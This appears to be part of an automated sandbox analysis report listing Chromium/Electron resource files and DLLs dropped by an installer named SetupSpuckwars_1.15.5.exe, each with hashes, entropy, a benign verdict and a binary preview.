                                                                                                                                  Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\chrome_100_percent.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):129690
                                                                                                                                  Entropy (8bit):7.91868310789661
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:AEKzwqCT4weSxQCS/qGTL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:AEKzwt4hC4/rK18Gb0OV8ld0GecQ3f2
                                                                                                                                  MD5:8626E1D68E87F86C5B4DABDF66591913
                                                                                                                                  SHA1:4CD7B0AC0D3F72587708064A7B0A3BECA3F7B81C
                                                                                                                                  SHA-256:2CAA1DA9B6A6E87BDB673977FEE5DD771591A1B6ED5D3C5F14B024130A5D1A59
                                                                                                                                  SHA-512:03BCD8562482009060F249D6A0DD7382FC94D669A2094DEC08E8D119BE51BEF2C3B7B484BB5B7F805AE98E372DAB9383A2C11A63AB0F5644146556B1BB9A4C99
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..............t...#.....:.I....yp....y6....y.....y#....y.....y`....ym....y.....y.....yI....y.....y'"...y.,...y.7...y;9...yv:...y(<...y.<...y.B...yfH...y.J...y.K...y.L.....M...N...aP...IS...BV...uY...]...Pa....d..&..h..'..i..(.hk..)..l..*..m..+.An..0..n..1.....2.....>.....?.....@.....A.....B.P...C.}...D.....F.9...H.r...I.I...J.....K.....L.....M.....N.6...O.....Q..%..R..(..T..1..U..4..W..>..X..H..^..M.._..N..`.mW..a.._..b..`..c.Cb..d.$d..e.Jg..g..g..i..k..j.*m..k..n..l..p..m..s..n..s..o..u..p..v..r..y..s.|{..u..~..v.<...x.....y.....~.......r..................................8................l.....;..... ......................p.....2..... .....8.....>.......................M.......................^.......................x...r.R...s.....t.....u.K...v.....w.....x.....y.+...z.~...{.....|.....}.a...~.u....._..........._...........l...................................Y.......................;.................R.................w...........6.................].................z.......

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\chrome_200_percent.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):179971
                                                                                                                                  Entropy (8bit):7.941375268079628
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:rDQYaEQN6AJPrSxQCS/qGTafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/r4:rDQYaNN68rC4/Ygx5GMRejnbdZnVE6YR
                                                                                                                                  MD5:48515D600258D60019C6B9C6421F79F6
                                                                                                                                  SHA1:0EF0B44641D38327A360AA6954B3B6E5AAB2AF16
                                                                                                                                  SHA-256:07BEE34E189FE9A8789AED78EA59AD41414B6E611E7D74DA62F8E6CA36AF01CE
                                                                                                                                  SHA-512:B7266BC8ABC55BD389F594DAC0C0641ECF07703F35D769B87E731B5FDF4353316D44F3782A4329B3F0E260DEAD6B114426DDB1B0FB8CD4A51E0B90635F1191D9
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..............t...#.....:.t....y.....y.....y.....y.....y.....y.....y.%...y.*...y.-...yc5...y.9...y.A...y.V...yCk...y.m...y)o...yyr...y#s...y.}...y.....y....y....y................................K....!.......&.....'....(.Q...).....*.....+.*...0....1.....2.....>.....?.f...@..$..A..&..B..)..C.1/..D.M:..F..<..H.JD..I.-K..J..P..K..V..L..\..M..^..N.Vc..O.?g..Q..p..R..t..T.g|..U.X...W.....X.H...^....._.....`.....a.....b.b...c.....d.....e.....g.....i.....j.....k.....l.....m.....n.....o.....p.....r.....s.....u.....v.....x.....y.....~........*.....+...../.....4.....6.....8....T9.....9....~;.....=....q>.....@.....A....FD.....I.....M.....U.....].....c.....i.....o....Tu.....v.....w.....x.....y.....{.....|.....}..........?.........r.....s.U...t.....u.....v....w.....x....y.*...z.....{....|.<...}.....~.............1...........L..........z.................G...........X...........f.....*..........@.....................q...........Y..........W...........;........................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\d3dcompiler_47.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):4891080
                                                                                                                                  Entropy (8bit):6.392150637672776
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:IuhjwXkKcimPVqB4faGCMhGNYYpQVTxx6k/ftO4w6FXKpOD21pLeXvZCoFwI8ccA:oy904wYbZCoOI85oyI
                                                                                                                                  MD5:CB9807F6CF55AD799E920B7E0F97DF99
                                                                                                                                  SHA1:BB76012DED5ACD103ADAD49436612D073D159B29
                                                                                                                                  SHA-256:5653BC7B0E2701561464EF36602FF6171C96BFFE96E4C3597359CD7ADDCBA88A
                                                                                                                                  SHA-512:F7C65BAE4EDE13616330AE46A197EBAD106920DCE6A31FD5A658DA29ED1473234CA9E2B39CC9833FF903FB6B52FF19E39E6397FAC02F005823ED366CA7A34F62
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........c...c...c..Z....c...c../c....7..c.......c.......c..Z....c..Z...bc..Z....c..Z....c..Z...6c..Z.[..c..Z....c..Rich.c..................PE..d...-L............" ......8.........`.(...................................... K.....2.J...`A..........................................F.x.....F.P.....J.@.....H.......J..!....J......vD.p.....................<.(...P.<.8.............<.(............................text.....8.......8................. ..`.rdata...=....8..@....8.............@..@.data...@.....F.......F.............@....pdata........H.......G.............@..@.rsrc...@.....J.......I.............@..@.reloc........J.......I.............@..B........................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\ffmpeg.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):2862080
                                                                                                                                  Entropy (8bit):6.7042588011125215
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:XMoI7Qj3trgDtcfkW76fSL5Yqq6uthy4Y6NO8PyJegPTagrcjdiCOi2iNN3lzl3U:H3Kk76fUq/4TagreBOirnW
                                                                                                                                  MD5:D49E7A8F096AD4722BD0F6963E0EFC08
                                                                                                                                  SHA1:6835F12391023C0C7E3C8CC37B0496E3A93A5985
                                                                                                                                  SHA-256:F11576BF7FFBC3669D1A5364378F35A1ED0811B7831528B6C4C55B0CDC7DC014
                                                                                                                                  SHA-512:CA50C28D6AAC75F749ED62EEC8ACBB53317F6BDCEF8794759AF3FAD861446DE5B7FA31622CE67A347949ABB1098ECCB32689B4F1C54458A125BC46574AD51575
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......".........`.........................................B...........`A..........................................).......).(.............@.x.............A..2..D.).....................(.).(...."#.8.............).P............................text....."......."................. ..`.rdata...t....#..v....".............@..@.data...X.....*.."...n*.............@....pdata..x.....@.......*.............@..@.00cfg..(....@A......B+.............@..@.gxfg....+...PA..,...D+.............@..@.retplne\.....A......p+..................tls..........A......r+.............@....voltbl.8.....A......t+................._RDATA........A......v+.............@..@.reloc...2....A..4...x+.............@..B................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\icudtl.dat

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):10541296
                                                                                                                                  Entropy (8bit):6.277012685259397
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:98304:ffPBQYOo+ddlymff2LfPQCvliXUxiG9Ha93Whla6ZENSs285:ffPBhORjfAHliXUxiG9Ha93Whla6ZEV7
                                                                                                                                  MD5:ADFD2A259608207F256AEADB48635645
                                                                                                                                  SHA1:300BB0AE3D6B6514FB144788643D260B602AC6A4
                                                                                                                                  SHA-256:7C8C7B05D70145120B45CCB64BF75BEE3C63FF213E3E64D092D500A96AFB8050
                                                                                                                                  SHA-512:8397E74C7A85B0A2987CAE9F2C66CE446923AA4140686D91A1E92B701E16B73A6CE459540E718858607ECB12659BEDAC0AA95C2713C811A2BC2D402691FF29DC
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libEGL.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):479232
                                                                                                                                  Entropy (8bit):6.320849747462847
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:su0LAjbIkyVVR8O9v/6TiT5eU3axzvYwo:sub49/6TiQzvYX
                                                                                                                                  MD5:09134E6B407083BAAEDF9A8C0BCE68F2
                                                                                                                                  SHA1:8847344CCEEAB35C1CDF8637AF9BD59671B4E97D
                                                                                                                                  SHA-256:D2107BA0F4E28E35B22837C3982E53784D15348795B399AD6292D0F727986577
                                                                                                                                  SHA-512:6FF3ADCB8BE48D0B505A3C44E6550D30A8FEAF4AA108982A7992ED1820C06F49E0AD48D9BD92685FB82783DFD643629BD1FE4073300B61346B63320CBDB051BA
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ................p.....................................................`A........................................x.......e-..(.......x........B..............$...4...........................(...@1..8............0...............................text...E........................... ..`.rdata..,....0......................@..@.data....K....... ..................@....pdata...B.......D..................@..@.00cfg..(....`......................@..@.gxfg...0$...p...&..................@..@.retplne\............4...................tls....!............6..............@....voltbl.8............8.................._RDATA...............:..............@..@.rsrc...x............<..............@..@.reloc..$............B..............@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libGLESv2.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):7514112
                                                                                                                                  Entropy (8bit):6.462467169487978
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:98304:BuT3g23jeZ/02YPuLaw5RoD1rfEQ3CPdOEabcgsOMdi:BuDPTwLap14QzEijsvi
                                                                                                                                  MD5:A5F1921E6DCDE9EAF42E2CCC82B3D353
                                                                                                                                  SHA1:1F6F4DF99AE475ACEC4A7D3910BADB26C15919D1
                                                                                                                                  SHA-256:50C4DC73D69B6C0189EAB56D27470EE15F99BBBC12BFD87EBE9963A7F9BA404E
                                                                                                                                  SHA-512:0C24AE7D75404ADF8682868D0EBF05F02BBF603F7DDD177CF2AF5726802D0A5AFCF539DC5D68E10DAB3FCFBA58903871C9C81054560CF08799AF1CC88F33C702
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......X..........L.......................................s...........`A..........................................j.....N.j.d.....r.......o.PJ............r.....$.i.......................i.(.....X.8...........P.k.......j.@....................text.....X.......X................. ..`.rdata........X.......X.............@..@.data.........k..|....k.............@....pdata..PJ....o..L...No.............@..@.00cfg..(....0r.......q.............@..@.gxfg...p*...@r..,....q.............@..@.retplne\....pr.......q..................tls....:.....r.......q.............@....voltbl.D.....r.......q................._RDATA........r.......q.............@..@.rsrc.........r.......q.............@..@.reloc........r.......q.............@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\af.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):362355
                                                                                                                                  Entropy (8bit):5.4138809970208035
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:j54QCpN9/WiHIR9a5D4+kQMGSB+jC6kAw1TUKKpg3b9xIsVxSt2y5qP3ux5tPwDV:F9CpN9OiHIRX+HMT+jC6kAw1TYpg3b9P
                                                                                                                                  MD5:464E5EEABA5EFF8BC93995BA2CB2D73F
                                                                                                                                  SHA1:3B216E0C5246C874AD0AD7D3E1636384DAD2255D
                                                                                                                                  SHA-256:0AD547BB1DC57907ADEB02E1BE3017CCE78F6E60B8B39395FE0E8B62285797A1
                                                                                                                                  SHA-512:726D6C41A9DBF1F5F2EFF5B503AB68D879B088B801832C13FBA7EB853302B16118CACDA4748A4144AF0F396074449245A42B2FE240429B1AFCB7197FA0CB6D41
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........].h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....M.....Z.....i.....z...........................................................!.....4.....T.....[.....k.....{...........................................................$.....4.....B.....x.............................................................................2.....K.....g.....u.....}........................................................... .....0.....L.....a.......................................................................9.....N.....g.....n.....q.....r.....~.........................................D.....L.......................................................................'.....<.....^.....q................................................... .....".....%.D...(.`...*.....+.....,.........../.....0.....1.....3.....4.+...5.F...6.....7.....8.....9.....<.....=.....>.....?.....@.....A.8...C.`...D.g.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\am.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):583572
                                                                                                                                  Entropy (8bit):4.947180410657857
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:QqhqEuPxT8xZTtWosuF9Q5m9yAAVzfukCQox30jH8+I:Zh8T8xTWoZF9Q5m9yAAVzXCQ0
                                                                                                                                  MD5:2C933F084D960F8094E24BEE73FA826C
                                                                                                                                  SHA1:91DFDDC2CFF764275872149D454A8397A1A20AB1
                                                                                                                                  SHA-256:FA1E44215BD5ACC7342C431A3B1FDDB6E8B6B02220B4599167F7D77A29F54450
                                                                                                                                  SHA-512:3C9ECFB0407DE2AA6585F4865AD54EEB2EC6519C9D346E2D33ED0E30BE6CC3EBFED676A08637D42C2CA8FA6CFEFB4091FEB0C922FF71F09A2B89CDD488789774
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........Q.h.@...i.K...j.W...k.f...l.q...n.y...o.~...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................&.....-.....4.....5.....6.....;.....g........................................./.....7.....|...............................................A.....a.....q............................./.....R.....d.....m.............................4.....@.....O.....e...............................................I.....{............................................... .....3.....h.....w.............................:.....R.............................).....H.....n.....q.......................'.....G.....p.....w.....z.....{.........................................l.................".....B....._.....................................................;.....c.................).....u....................................... .....".0...%.f...(.....*.....+.....,.........../.....0.1...1.....3.....4.....5.....6.{...7.....8.....9.....;.....<.....=.5...>.o...?.y...@.....A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ar.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):639744
                                                                                                                                  Entropy (8bit):4.950537001099058
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:K+sgtqIj5/XvYUtOkQIkqBJ5SNbW+eTtvZEMgSENjM:KD4Fek75z+K
                                                                                                                                  MD5:FDBAD4C84AC66EE78A5C8DD16D259C43
                                                                                                                                  SHA1:3CE3CD751BB947B19D004BD6916B67E8DB5017AC
                                                                                                                                  SHA-256:A62B848A002474A8EA37891E148CBAF4AF09BDBA7DAFEBDC0770C9A9651F7E3B
                                                                                                                                  SHA-512:376519C5C2E42D21ACEDB1EF47184691A2F286332451D5B8D6AAC45713861F07C852FB93BD9470FF5EE017D6004ABA097020580F1BA253A5295AC1851F281E13
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........~.z.h.....i.....j.....k.....l.....n.'...o.,...p.9...r.?...s.P...t.Y...v.n...w.{...y.....z.....|.....}...................................................................).....B....._.........................................-....._.....b.....f.........................................0.....G...................................................../.....O...............................................-.....7.....g.............................5.....`...............................................K.....[.....r.............................a.........................................".....=.....\.....w.................................................................V.......................o.............................<.....Y.....i.....q.....}.......................<.....^.........................................<.....M... ._...".|...%.....(.....*.M...+.P...,.n........./.....0.....1.....3.....4.=...5.d...6.....7.....8.....9.6...;.Q...<.r...=.....>.....?.....@.....A.....C.....D.....E.Y...F...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\bg.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):667826
                                                                                                                                  Entropy (8bit):4.715111408941832
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:MMq8w2kMLlYrdAs1aQUx41aVVwslMLOmFOMw35uKN31tfbDMxbV2Jfu64Kjz5fS+:MMqckulYrdAs1aQUmBsmRw35uK7Jgxho
                                                                                                                                  MD5:38BCABB6A0072B3A5F8B86B693EB545D
                                                                                                                                  SHA1:D36C8549FE0F69D05FFDAFFA427D3DDF68DD6D89
                                                                                                                                  SHA-256:898621731AC3471A41F8B3A7BF52E7F776E8928652B37154BC7C1299F1FD92E1
                                                                                                                                  SHA-512:002ADBDC17B6013BECC4909DAF2FEBB74CE88733C78E968938B792A52C9C5A62834617F606E4CB3774AE2DAD9758D2B8678D7764BB6DCFE468881F1107DB13EF
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........S.h.<...i.D...j.P...k._...l.j...n.r...o.w...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................&.....-.........../.....4.........................................:.....F.....P.........................................Q.....]...................................,.....V.........................................7...................................9.....?.....M.....a.......................9.....i.........................................(.....N.....x.......................=.....X.....n.......................Z.....s...................................8.....h.......................+.....2.....5.....6.....J.....`.....|.................(...........B.....N.................>...................................,.....6.....j.................7.....s.................?.....Q.....g..................... .....".....%.U...(.....*.....+.....,....... .../.N...0.W...1.....3.....4.....5.N...6.....7.....8.....9.@...;.m...<.....=.....>.....?.....@.....A.D...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\bn.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):858553
                                                                                                                                  Entropy (8bit):4.32277927640417
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:6gGTLRFbMdhBVHvr5eSnC6PRWhk7Bbd8+D95H0XluZ:YWBlvr5FCYRWuBbdB5wl2
                                                                                                                                  MD5:9340520696E7CB3C2495A78893E50ADD
                                                                                                                                  SHA1:EED5AEEF46131E4C70CD578177C527B656D08586
                                                                                                                                  SHA-256:1EA245646A4B4386606F03C8A3916A3607E2ADBBC88F000976BE36DB410A1E39
                                                                                                                                  SHA-512:62507685D5542CFCD394080917B3A92CA197112FEEA9C2DDC1DFC77382A174C7DDF758D85AF66CD322692215CB0402865B2A2B212694A36DA6B592028CAAFCDF
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........].h.(...i.9...j.E...k.T...l._...n.g...o.m...p.z...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................!.....(.....).....*...../.......................9.....K.....g.............................R.....T.....X.......................&.....[.............................E.....x.......................-.....O.....}.................e.....t.........................................5.....q.................2.....r.........................................-.....I.......................x...............................................@.....r.............................5.....c...............................................6.....M.....n.................1.....I.......................f.........................................@.................i...............................................J.....h... .}...".....%.....(.P...*.....,.........../.....0.....1.....3.....4.....5.^...6.....7.....8.u...9.....;.....<.....=.....>.R...?.e...@.....A.....C.c...D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ca.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):409695
                                                                                                                                  Entropy (8bit):5.417085582145732
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:bgoRVrijIs3cejEYBCqS4o3nbhjJSwHQliEwfwVEMXdLbpuQ16BtryBiGIle3nei:b3GQUwJAMNTCypxB5WMml
                                                                                                                                  MD5:4CD6B3A91669DDCFCC9EEF9B679AB65C
                                                                                                                                  SHA1:43C41CB00067DE68D24F72E0F5C77D3B50B71F83
                                                                                                                                  SHA-256:56EFFF228EE3E112357D6121B2256A2C3ACD718769C89413DE82C9D4305459C6
                                                                                                                                  SHA-512:699BE9962D8AAE241ABD1D1F35CD8468FFBD6157BCD6BDF2C599D902768351B247BAAD6145B9826D87271FD4A19744EB11BF7065DB7FEFB01D66D2F1F39015A9
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........R.h.>...i.F...j.R...k.a...l.l...n.t...o.y...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................!.....(...../.....0.....1.....3.....\.....v...............................................&.....D.....F.....J.....r.....................................................%.....5.....S.....n.....q.....{.........................................%.....5.....8.....;.....D.....X.....n.....................................................#.....5.....D.....U.....k.....r...................................'.....H.....Q.....b.....u.....................................................).....0.....3.....4.....=.....F.....N.....T.....f.................,.....4.....o.........................................$...../.....4.....J.....t.............................%.....>.....C.....M.....^.....z......... .....".....%.....(.....*.....+.....,.&.....P.../.m...0.r...1.....3.....4.....5.....6.1...7.B...8.V...9.h...;.v...<.....=.....>.....?.....@.....A.....C.....D.&...E.Z.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\cs.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):419829
                                                                                                                                  Entropy (8bit):5.845882900283008
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:RquUIAMYOnQYeAIV4g558YwGKNDsku8Qy:Rq/IA5On504g558YwbNDsC
                                                                                                                                  MD5:EEEE212072EA6589660C9EB216855318
                                                                                                                                  SHA1:D50F9E6CA528725CED8AC186072174B99B48EA05
                                                                                                                                  SHA-256:DE92F14480770401E39E22DCF3DD36DE5AD3ED22E44584C31C37CD99E71C4A43
                                                                                                                                  SHA-512:EA068186A2E611FB98B9580F2C5BA6FD1F31B532E021EF9669E068150C27DEEE3D60FD9FF7567B9EB5D0F98926B24DEFABC9B64675B49E02A6F10E71BB714AC8
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........s.h.....i.....j.....k.....l.*...n.2...o.7...p.D...r.J...s.[...t.d...v.y...w.....y.....z.....|.....}.........................................................................+.....;.....M....._.....h.....u...............................................G.....].....{.....................................................1.....@.....F.....M.....^.....p.................................................................0.....E.....[.....t.................................................................+.....6.....H.........................................".....(.....4.....@.....P.....u.....x.........................................................................................].......................A.....^.....z...............................................!.....G.....b.............................,.....3.....=.....J.....g.....q... .y...".....%.....(.....*.....+.....,.......(.../.?...0.I...1.....3.....4.....5.....6.....7. ...8.6...9.L...<.^...=.h...>.}...?.....@.....A.....C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\da.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):380107
                                                                                                                                  Entropy (8bit):5.46366244634788
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:czP4qlrn8+ua0swlGVJJwoXlw5CvET5VTrBGzO7iJyd4tTWwT:dqlr89JklwH55rETL
                                                                                                                                  MD5:E7BA94C827C2B04E925A76CB5BDD262C
                                                                                                                                  SHA1:ABBA6C7FCEC8B6C396A6374331993C8502C80F91
                                                                                                                                  SHA-256:D8DA7AB28992C8299484BC116641E19B448C20ADF6A8B187383E2DBA5CD29A0B
                                                                                                                                  SHA-512:1F44FCE789CF41FD62F4D387B7B8C9D80F1E391EDD2C8C901714DD0A6E3AF32266E9D3C915C15AD47C95ECE4C7D627AA7339F33EEA838D1AF9901E48EDB0187E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........H.h.R...i.c...j.o...k.~...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....y...........................................................+.....-.....1.....Y.....n.................................................................-.....3.....;.....K.....o.......................................................................,.....C.....Y.....s.............................................................................?.....H.....i................................................................. .....+.....?.....Q.....e.....l.....o.....p.....w.........................................S.....W.................................................................".....?.....V...............................................".....5.....?... .C...".K...%.f...(.....*.....+.....,.........../.....0.....1.9...3.E...4._...5.w...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.(...A._...C.|...D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\de.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):406584
                                                                                                                                  Entropy (8bit):5.519300999448185
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:V3JEmQ1hqVK+6aU8WUmzg3ELWzhqY305QgfXlIsCJd:V5t6sKXaK/LWy5POsCJd
                                                                                                                                  MD5:CF22EC11A33BE744A61F7DE1A1E4514F
                                                                                                                                  SHA1:73E84848C6D9F1A2ABE62020EB8C6797E4C49B36
                                                                                                                                  SHA-256:7CC213E2C9A2D2E2E463083DD030B86DA6BBA545D5CEE4C04DF8F80F9A01A641
                                                                                                                                  SHA-512:C10C8446E3041D7C0195DA184A53CFBD58288C06EAF8885546D2D188B59667C270D647FA7259F5CE140EC6400031A7FC060D0F2348AB627485E2207569154495
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........S...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.+...y.1...z.@...|.F...}.X.....`.....e.....m.....u.....}............................................................................./.....7.....@.....f.....|.....~.....................................................%.....M.....a.....o...............................................8.....L.....S.....^.....v.....................................................6....._.......................................................................7.....H.....a.....r...............................................".....5.....K....._.....x.................................................................?.............................#.....M.....x...........................................................(.....F.....j............................................. .....".....%.1...(.N...*.q...+.t...,.........../.....0.....1.....3.....4.....5.7...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.....A.>...C.]...D.g.

